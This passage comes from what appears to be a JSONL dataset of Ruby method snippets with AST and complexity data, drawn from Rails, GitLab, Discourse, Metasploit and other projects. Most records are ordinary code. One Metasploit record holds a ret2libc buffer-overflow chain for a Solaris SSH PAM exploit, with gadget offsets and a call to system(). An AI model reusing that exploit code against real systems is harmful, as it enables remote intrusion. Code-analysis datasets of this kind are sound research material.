end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@host\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"addrs\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ports\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"scripts\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"040e3b47-0c33-48d1-a3fd-1cdb8d4864ee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/sqlmap.rb","start_line":45,"raw_source":"def cmd_sqlmap_set_option(*args)\n        unless args.length == 3\n          print_error('Usage:')\n          print_error('\\tsqlmap_set_option <taskid> <option_name> <option_value>')\n          return\n        end\n\n        unless @manager\n          print_error('Please run sqlmap_connect <host> first.')\n          return\n        end\n\n        val = args[2] =~ /^\\d+$/ ? args[2].to_i : args[2]\n\n        res = @manager.set_option(@hid_tasks[args[0]], args[1], val)\n        print_status(\"Success: #{res['success']}\")\n      end","complexity_score":23.95,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_sqlmap_set_option\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[3]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Usage:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"\\\\tsqlmap_set_option <taskid> <option_name> <option_value>\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@manager\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Please run sqlmap_connect <host> first.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\d+$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@manager\"]},\"set_option\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hid_tasks\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Success: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"success\"]}]}]}]}]}]}]}","id":"a5ca42f0-4837-4a7b-8595-df2c8e5755e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/code_reuse_helpers.rb","start_line":170,"raw_source":"def ce_app_directory\n      File.join(rails_root, 'app')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ce_app_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"rails_root\"]},{\"type\":\"str\",\"children\":[\"app\"]}]}]}","id":"8440ed66-bf7e-42e9-b2c9-8c2bdd9a59b0"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing/inspector_test.rb","start_line":386,"raw_source":"def test_not_routes_when_expanded\n        output = draw(formatter: ActionDispatch::Routing::ConsoleFormatter::Expanded.new) { }\n\n        assert_equal [\n          \"You don't have any routes defined!\",\n          \"\",\n          \"Please add some routes in config/routes.rb.\",\n          \"\",\n          \"For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html.\"\n        ], output\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_not_routes_when_expanded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formatter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Routing\"]},\"ConsoleFormatter\"]},\"Expanded\"]},\"new\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"You don't have any routes defined!\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Please add some routes in config/routes.rb.\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html.\"]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"ca449eeb-7801-4987-94ea-9ad0df331fe3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/dect_coa.rb","start_line":185,"raw_source":"def record_coa(filename)\n    raise RuntimeError, \"DECT call recording is not supported yet\"\n    fd = File.open(filename, 'rb+')\n    fd.close\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"record_coa\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"DECT call recording is not supported yet\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"rb+\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"close\"]}]}]}","id":"5a7f246d-acd7-425b-96a5-e25b14aa2148"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/news/comments_controller.rb","start_line":47,"raw_source":"def destroy\n    @comment.destroy\n    redirect_to news_path(@news), status: :see_other\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"news_path\",{\"type\":\"ivar\",\"children\":[\"@news\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"94b34e11-a59c-407c-831a-7bd4596f298b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/quandora/import.rb","start_line":46,"raw_source":"def import_topic(topic)\n    post = nil\n    if post_id = post_id_from_imported_post_id(topic[:id])\n      post = Post.find(post_id) # already imported this topic\n    else\n      topic[:user_id] = user_id_from_imported_user_id(topic[:author_id]) || -1\n      topic[:category] = \"quandora-import\"\n\n      post = create_post(topic, topic[:id])\n\n      unless post.is_a?(Post)\n        puts \"Error creating topic #{topic[:id]}. Skipping.\"\n        puts post.inspect\n      end\n    end\n\n    post\n  end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"import_topic\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_id\",{\"type\":\"send\",\"children\":[null,\"post_id_from_imported_post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"post_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author_id\"]}]}]},{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"quandora-import\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"create_post\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Post\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error creating topic \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\". Skipping.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"inspect\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}","id":"39acfea8-e16f-4331-8d70-663268882876"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/serialized_attribute_test.rb","start_line":534,"raw_source":"def test_mutation_detection_does_not_double_serialize\n    coder = Object.new\n    def coder.dump(value)\n      return if value.nil?\n      value + \" encoded\"\n    end\n    def coder.load(value)\n      return if value.nil?\n      value.gsub(\" encoded\", \"\")\n    end\n    type = Class.new(ActiveModel::Type::Value) do\n      include ActiveModel::Type::Helpers::Mutable\n\n      def serialize(value)\n        return if value.nil?\n        value + \" serialized\"\n      end\n\n      def deserialize(value)\n        return if value.nil?\n        value.gsub(\" serialized\", \"\")\n      end\n    end.new\n    model = Class.new(Topic) do\n      attribute :foo, type\n      serialize :foo, coder: coder\n    end\n\n    topic = model.create!(foo: \"bar\")\n    topic.foo\n    assert_not_predicate topic, :changed?\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mutation_detection_does_not_double_serialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"coder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"+\",{\"type\":\"str\",\"children\":[\" encoded\"]}]}]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"gsub\",{\"type\":\"str\",\"children\":[\" encoded\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Value\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Helpers\"]},\"Mutable\"]}]},{\"type\":\"def\",\"children\":[\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"+\",{\"type\":\"str\",\"children\":[\" serialized\"]}]}]}]},{\"type\":\"def\",\"children\":[\"deserialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"gsub\",{\"type\":\"str\",\"children\":[\" serialized\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Topic\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"serialize\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"coder\"]},{\"type\":\"lvar\",\"children\":[\"coder\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"foo\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"changed?\"]}]}]}]}","id":"eb508646-2c2a-45a3-8081-2a86b3b803ea"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":682,"raw_source":"def concat(input, array)\n      unless array.respond_to?(:to_ary)\n        raise ArgumentError, \"concat filter requires an array argument\"\n      end\n      InputIterator.new(input, context).concat(array)\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"concat\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_ary\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"concat filter requires an array argument\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InputIterator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}]}","id":"75f14be9-ff6c-4d59-bd00-b48aa87082f4"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":594,"raw_source":"def append(*args)\n      update(*args)\n      @list.push(args[0])\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"append\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@list\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"b18cb109-0338-450d-8a79-64072ecf48db"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/helpers.rb","start_line":95,"raw_source":"def create_staff_only_tags(tag_names)\n    create_limited_tags(\"Staff Tags\", Group::AUTO_GROUPS[:staff], tag_names)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_staff_only_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_names\"]}]},{\"type\":\"send\",\"children\":[null,\"create_limited_tags\",{\"type\":\"str\",\"children\":[\"Staff Tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"staff\"]}]},{\"type\":\"lvar\",\"children\":[\"tag_names\"]}]}]}","id":"181f6c5a-6e1d-462f-91cf-c80039ebbf7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/update_service.rb","start_line":250,"raw_source":"def do_handle_issue_type_change(issue)\n      old_work_item_type = ::WorkItems::Type.find_by_id(issue.work_item_type_id_before_last_save).base_type\n      SystemNoteService.change_issue_type(issue, current_user, old_work_item_type)\n\n      ::IncidentManagement::IssuableEscalationStatuses::CreateService.new(issue).execute if issue.supports_escalation?\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"do_handle_issue_type_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_work_item_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"Type\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"work_item_type_id_before_last_save\"]}]},\"base_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"change_issue_type\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"old_work_item_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"supports_escalation?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IncidentManagement\"]},\"IssuableEscalationStatuses\"]},\"CreateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},\"execute\"]},null]}]}]}","id":"afb67fea-d8b7-43f9-90d3-02278c350789"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2876,"raw_source":"def pipeline_has_report_in_self_or_descendants?(report_type)\n    !!diff_head_pipeline\n      &.latest_report_builds_in_self_and_project_descendants(::Ci::JobArtifact.of_report_type(report_type))\n      &.exists?\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_has_report_in_self_or_descendants?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_head_pipeline\"]},\"latest_report_builds_in_self_and_project_descendants\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"JobArtifact\"]},\"of_report_type\",{\"type\":\"lvar\",\"children\":[\"report_type\"]}]}]},\"exists?\"]},\"!\"]},\"!\"]}]}","id":"c5a266c5-06a6-410c-8df6-048b1a901b1f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/checkout.rb","start_line":297,"raw_source":"def assign_default_credit_card\n            return unless payments.from_credit_card.size.empty? && user_has_valid_default_card? && payment_required?\n\n            cc = user.default_credit_card\n            payments.create!(payment_method_id: cc.payment_method_id, source: cc, amount: total)\n          end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_default_credit_card\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payments\"]},\"from_credit_card\"]},\"size\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"user_has_valid_default_card?\"]}]},{\"type\":\"send\",\"children\":[null,\"payment_required?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"default_credit_card\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payments\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payment_method_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cc\"]},\"payment_method_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"cc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"send\",\"children\":[null,\"total\"]}]}]}]}]}]}","id":"e4b18f5e-28d5-480b-82bd-f981e4909f74"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration_options.rb","start_line":222,"raw_source":"def xdg_options_file_path\n        xdg_config_home = resolve_xdg_config_home\n        if xdg_config_home\n          File.join(xdg_config_home, \"rspec\", \"options\")\n        end\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"xdg_options_file_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xdg_config_home\",{\"type\":\"send\",\"children\":[null,\"resolve_xdg_config_home\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xdg_config_home\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"xdg_config_home\"]},{\"type\":\"str\",\"children\":[\"rspec\"]},{\"type\":\"str\",\"children\":[\"options\"]}]},null]}]}]}","id":"d3b38361-695e-47a2-8a7d-1ed8b318717f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/ssh/pam_username_bof.rb","start_line":121,"raw_source":"def ret2libc\n    buf = rand_text(516) # Offset to saved EIP\n    buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret\n    buf << rand_text(4) # Padding\n    buf << p32(0x08040101) # ecx\n    buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret\n    buf << p32(target['LibcBase'] + 0x256d0) # exit(3)\n    buf << p32(target['LibcBase'] + 0x91edf) # system(3)\n    buf << rand_text(4) # Padding\n    buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret\n    buf << payload.encoded\n  end","complexity_score":45.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ret2libc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[516]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"p32\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LibcBase\"]}]},\"+\",{\"type\":\"int\",\"children\":[145668]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"p32\",{\"type\":\"int\",\"children\":[134480129]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"p32\",{\"type\":\"int\",\"children\":[134593031]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"p32\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LibcBase\"]}]},\"+\",{\"type\":\"int\",\"children\":[153296]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"p32\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LibcBase\"]}]},\"+\",{\"type\":\"int\",\"children\":[597727]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",